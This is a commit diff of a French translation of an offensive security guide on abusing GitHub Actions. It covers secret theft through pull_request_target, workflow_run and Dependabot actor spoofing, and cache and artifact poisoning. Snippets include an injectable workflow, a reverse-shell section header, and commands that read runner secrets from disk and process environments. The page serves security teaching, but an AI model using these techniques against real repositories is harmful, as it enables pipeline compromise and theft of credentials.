Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-09-29 22:21:34 +00:00
parent 5789dc7b04
commit 5ee4305a10
7 changed files with 363 additions and 362 deletions

View File

@@ -1,58 +1,58 @@
# Abuser de Github Actions
# Abuser Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Outils
Les outils suivants sont utiles pour trouver des workflows Github Action et même en identifier des vulnérables :
Les outils suivants sont utiles pour trouver des workflows Github Action et même repérer ceux vulnérables :
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Consultez aussi sa checklist sur [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Informations de base
Sur cette page vous trouverez :
Sur cette page, vous trouverez :
- Un **résumé de tous les impacts** qu'un attaquant peut causer en accédant à une Github Action
- Différentes façons de **obtenir l'accès à une action** :
- Avoir les **permissions** pour créer l'action
- Abuser des **déclencheurs** liés aux **pull request**
- Abuser d'**autres techniques d'accès externe**
- **Pivoting** depuis un repo déjà compromis
- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (provoquant les impacts mentionnés)
- Un **résumé de tous les impacts** lorsqu'un attaquant parvient à accéder à une Github Action
- Différentes manières d'**obtenir l'accès à une action** :
- Avoir les **permissions** nécessaires pour créer l'action
- Abuser des triggers liés aux **pull request**
- Abuser d'**autres techniques d'accès externes**
- Pivot depuis un repo déjà compromis
- Enfin, une section sur les **techniques post-exploitation pour abuser d'une action depuis l'intérieur** (provoquant les impacts mentionnés)
## Résumé des impacts
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Pour une introduction sur [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de :
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourrez peut-être :
- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
- **Compromettre des déploiements** et d'autres **artefacts**.
- Si le pipeline déploie ou stocke des assets, vous pouvez altérer le produit final, permettant une supply chain attack.
- **Exécuter du code sur des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- **Écraser le code du dépôt**, selon les permissions associées au `GITHUB_TOKEN`.
- **Steal secrets** montés sur le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
- **Compromise deployments** et autres **artifacts**.
- Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
- **Execute code in custom workers** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- **Overwrite repository code**, selon les permissions associées au `GITHUB_TOKEN`.
## GITHUB_TOKEN
Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
Ce **secret** (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Ce token est le même que celui qu'une **Github Application will use**, il peut donc accéder aux mêmes endpoints : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access au sein de GitHub, donc un repo peut accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Notez que le token **expire après l'exécution du job**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Notez que le token **expire après la fin du job**.\
Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Quelques usages intéressants de ce token :
Quelques actions intéressantes que vous pouvez effectuer avec ce token :
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Notez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner davantage de privilèges sur le dépôt et l'organisation.
> Sachez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
<details>
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obtenir un reverse shell avec des secrets</summary>
<summary>Obtenir reverse shell avec secrets</summary>
```yaml
name: revshell
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs **en vérifiant les logs** des actions :
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs en **vérifiant les logs** des actions :
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Exécution autorisée
> [!NOTE]
> Ceci serait la façon la plus simple de compromettre Github actions, car ce cas suppose que vous avez accès pour **créer un nouveau repo dans l'organisation**, ou que vous avez des **privilèges d'écriture sur un repository**.
> Ceci serait le moyen le plus simple de compromettre les Github actions, car ce cas suppose que vous avez la possibilité de **créer un nouveau repo dans l'organisation**, ou que vous disposez de **privilèges d'écriture sur un repository**.
>
> Si vous êtes dans ce scénario vous pouvez juste check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
> Si vous êtes dans ce scénario vous pouvez simplement consulter les [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Exécution depuis la création d'un repo
### Exécution lors de la création d'un Repo
Si les membres d'une organisation peuvent **create new repos** et que vous pouvez exécuter github actions, vous pouvez **create a new repo and steal the secrets set at organization level**.
Si les membres d'une organisation peuvent **créer de nouveaux repos** et que vous pouvez exécuter des Github actions, vous pouvez **créer un nouveau repo et voler les secrets définis au niveau de l'organisation**.
### Exécution depuis une nouvelle branche
Si vous pouvez **create a new branch in a repository that already contains a Github Action** configurée, vous pouvez la **modify**, **upload** le contenu, et ensuite **execute that action from the new branch**. De cette façon vous pouvez **exfiltrate repository and organization level secrets** (mais vous devez savoir comment ils sont appelés).
Si vous pouvez **créer une nouvelle branche dans un repository qui contient déjà une Github Action** configurée, vous pouvez la **modifier**, **uploader** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette façon vous pouvez **exfiltrer les secrets au niveau du repository et de l'organisation** (mais vous devez savoir comment ils s'appellent).
> [!WARNING]
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
> Toute restriction implémentée uniquement dans le workflow YAML (par exemple, `on: push: branches: [main]`, conditionnels de job, ou gates manuelles) peut être éditée par des collaborateurs. Sans application externe (branch protections, protected environments, and protected tags), un contributeur peut retargeter un workflow pour l'exécuter sur sa branche et abuser des secrets/permissions montés.
Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'une **PR est créée** ou lorsqu'un **push est effectué** (selon le niveau de bruit que vous souhaitez) :
Vous pouvez rendre l'action modifiée exécutable **manuellement,** lors de la création d'une **PR** ou lorsque **du code est poussé** (selon le niveau de bruit souhaité) :
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
```
---
## Exécution forkée
## Exécution depuis un fork
> [!NOTE]
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre repository**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être capable de les compromettre.
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter un Github Action d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait les compromettre.
### `pull_request`
Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un(e) **maintainer** devra **approuver** l'**exécution** du workflow :
Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **contribuez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Comme la **limitation par défaut** s'applique aux contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
> Comme la **limitation par défaut** concerne les contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouvelles privilèges `pull_request`**.
>
> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte au nom de quelqu'un qui a contribué au projet et qui a supprimé son compte.~~
> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et supprimer son compte.~~
De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** dans le dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Avec l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché à partir d'un **repository forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **provenant de repositories forkés**.
> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **venant de dépôts forkés**.
Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
Un attaquant pourrait modifier la définition du Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
> [!CAUTION]
> **Oui, si l'attaquant change dans la PR la github action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !**
> **Oui : si l'attaquant modifie dans la PR le Github Action qui sera déclenché, c'est son Github Action qui sera utilisé et non celui du dépôt d'origine !**
Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ni de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **téléverser des artefacts malveillants**.
Comme l'attaquant contrôle aussi le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, il pourrait par exemple **téléverser des artefacts malveillants**.
### **`pull_request_target`**
Le workflow trigger **`pull_request_target`** dispose de **permissions d'écriture** sur le dépôt cible et **d'accès aux secrets** (et ne demande pas d'autorisation).
Le workflow trigger **`pull_request_target`** a des **permissions d'écriture** sur le dépôt cible et **accès aux secrets** (et ne demande pas d'autorisation).
Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte base** et non dans celui fourni par la PR (afin de ne pas exécuter du code non fiable). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez cet [**article du blog GitHub**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui fourni par la PR (pour **ne pas exécuter du code non fiable**). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
De plus, pour plus d'infos sur cet usage particulièrement dangereux, consultez ce [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
On pourrait penser que parce que le workflow exécuté est celui défini dans la branche base et non dans la PR, il est sûr d'utiliser `pull_request_target`, mais il y a quelques cas où ce n'est pas le cas.
On pourrait penser que parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, il est **sûr** d'utiliser **`pull_request_target`**, mais il y a quelques cas où ce n'est pas le cas.
Et celui-ci aura accès aux secrets.
Et celui-ci aura **accès aux secrets**.
### `workflow_run`
Le trigger `workflow_run` permet d'exécuter un workflow à partir d'un autre lorsque celui-ci est `completed`, `requested` ou `in_progress`.
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow distinct "Run Tests" soit terminé :
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
```yaml
on:
workflow_run:
@@ -230,10 +230,9 @@ workflows: [Run Tests]
types:
- completed
```
De plus, d'après la documentation : Le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne pouvait pas**.
De plus, selon la documentation : le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne le pouvait pas**.
Ce type de workflow peut être attaqué s'il dépend d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`
Le second consiste à **passer** un **artifact** depuis le code **non fiable** vers le workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
Ce type de workflow peut être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`. Le second consiste à **passer** un **artifact** provenant du code **untrusted** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à une RCE**.
### `workflow_call`
@@ -243,16 +242,16 @@ TODO : Vérifier si, lorsqu'il est exécuté depuis un pull_request, le code uti
## Abusing Forked Execution
Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
Nous avons mentionné toutes les manières dont un attaquant externe peut faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
### Exécution du checkout non fiable
### Untrusted checkout execution
Dans le cas de **`pull_request`**, le workflow va être exécuté dans le **contexte du PR** (donc il exécutera le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
Dans le cas de **`pull_request`**, le workflow sera exécuté dans le **contexte du PR** (il exécutera donc le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché depuis **`pull_request_target` ou `pull_request`**, le code du repo d'origine sera exécuté, donc **l'attaquant ne peut pas contrôler le code exécuté**.
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché par **`pull_request_target` ou `pull_request`**, le code du repo original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
> [!CAUTION]
> Cependant, si l'**action** effectue un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
> Cependant, si l'**action** a un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -282,32 +281,32 @@ message: |
Thank you!
</code></pre>
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** puisque les scripts de build et les **packages référencés sont contrôlés par l'auteur du PR**.
Le code potentiellement **untrusted est exécuté pendant `npm install` ou `npm build`** car les scripts de build et les **packages** référencés sont contrôlés par l'auteur du PR.
> [!WARNING]
> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de façon sécurisée même si l'action est configurée de manière non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de manière sécurisée même si l'action est configurée de façon non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
### Injections de script via les contextes <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quelque chose**, cela peut conduire à une **exécution de code arbitraire :**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Injection via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
D'après la doc : vous pouvez rendre une **variable d'environnement disponible pour les étapes suivantes** d'un job en définissant ou en mettant à jour la variable et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable d'**env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes comme **LD_PRELOAD** ou **NODE_OPTIONS**.
Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable **env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes, comme **LD_PRELOAD** ou **NODE_OPTIONS**.
Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot et autres bots de confiance
### Dependabot and other trusted bots
Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge toute PRR venant de `dependabot[bot]` comme dans :
Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge tout PRR venant de `dependabot[bot]` comme dans :
```yaml
on: pull_request_target
jobs:
@@ -317,16 +316,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons d'amener l'utilisateur `dependabot[bot]` à modifier une PR. Par exemple :
Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a causé le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie une PR. Par exemple :
- Créez un fork du dépôt victime
- Ajoutez la payload malveillante à votre copie
- Activez Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
- Ouvrez une Pull Request vers le dépôt victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera pour l'instant)
- Ensuite, l'attaquant revient à la PR initiale que Dependabot a ouverte dans son fork et exécute `@dependabot recreate`
- Ensuite, Dependabot effectue certaines actions sur cette branche, ce qui modifie la PR sur le dépôt victime, faisant de `dependabot[bot]` l'actor du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Pour continuer, que se passerait-il si, au lieu de merger, la Github Action avait une command injection comme dans :
Pour aller plus loin, que se passe-t-il si, au lieu de merger, la Github Action comportait une injection de commande comme dans :
```yaml
on: pull_request_target
jobs:
@@ -336,24 +335,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Le billet original propose deux options pour abuser de ce comportement, la deuxième étant :
Eh bien, l'article original propose deux options pour abuser de ce comportement, la deuxième étant :
- Faire un fork du dépôt victime et activer Dependabot avec une dépendance obsolète.
- Créer une nouvelle branche contenant le code malveillant de shell injection.
- Changer la branche par défaut du repo pour celle-ci
- Créer une PR depuis cette branche vers le dépôt victime.
- Exécuter `@dependabot merge` dans la PR que Dependabot a ouverte dans son fork.
- Dependabot fusionnera ses changements dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et en utilisant un nom de branche malveillant.
- Fork le dépôt victime et activer Dependabot avec une dépendance obsolète.
- Create a new branch with the malicious shell injection code.
- Change the default branch of the repo to that one
- Create a PR from this branch to the victim repository.
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
### Github Actions tiers vulnérables
### Github Actions de tiers vulnérables
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de plusieurs repositories.
Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de repositories.
Le problème est que si le **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire courant et il peut écraser des fichiers qui pourraient ensuite être utilisés ou même exécutés dans le workflow. Par conséquent, si l'Artifact est vulnérable, un attaquant pourrait abuser de cela pour compromettre d'autres workflows faisant confiance à l'Artifact.
Exemple de workflow vulnérable:
Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -393,27 +392,27 @@ path: ./script.py
```
---
## Autres External Access
## Autre accès externe
### Deleted Namespace Repo Hijacking
Si un compte change son nom, un autre utilisateur peut enregistrer un compte avec ce nom après un certain temps. Si une repository avait **moins de 100 stars avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer une **repository avec le même nom** que celle supprimée.
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
> [!CAUTION]
> Donc, si une action utilise un repo provenant d'un compte inexistant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
> Donc si une action utilise un repo provenant d'un compte non existant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
Si d'autres repositories utilisaient **dependencies provenant des repos de cet utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous avons un certain accès au premier (voir la section précédente).
> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous ayons un certain accès au premier (voir la section précédente).
### Cache Poisoning
Un cache est maintenu entre les **wokflow runs in the same branch**. Ce qui signifie que si un attaquant parvient à **compromise** un **package** qui est ensuite stocké dans le cache et **downloaded** et exécuté par un workflow **more privileged**, il pourra également **compromise** ce workflow.
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +420,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Les workflows peuvent utiliser des **artifacts from other workflows and even repos**, si un attaquant parvient à **compromise** le Github Action qui **uploads an artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromise the other workflows** :
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -433,7 +432,7 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
Comme expliqué dans [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), même si une repository ou organisation a une policy restreignant l'utilisation de certaines actions, un attaquant pourrait simplement télécharger (`git clone`) une action dans le workflow puis la référencer comme une action locale. Comme les policies n'affectent pas les local paths, **the action will be executed without any restriction.**
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
Example:
```yaml
@@ -468,11 +467,11 @@ Consultez les pages suivantes :
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Accès aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
- Si le secret ou le token est défini dans une **variable d'environnement**, il peut être accédé directement via l'environnement en utilisant **`printenv`**.
- Si le secret or token est défini comme une **variable d'environnement**, il est accessible directement via l'environnement en utilisant **`printenv`**.
<details>
@@ -526,15 +525,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Si le secret est utilisé **directly in an expression**, le script shell généré est stocké **on-disk** et est accessible.
- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets are sent through environment variables
- Pour une action JavaScript, les secrets sont transmis via des variables d'environnement
- ```bash
ps axe | grep node
```
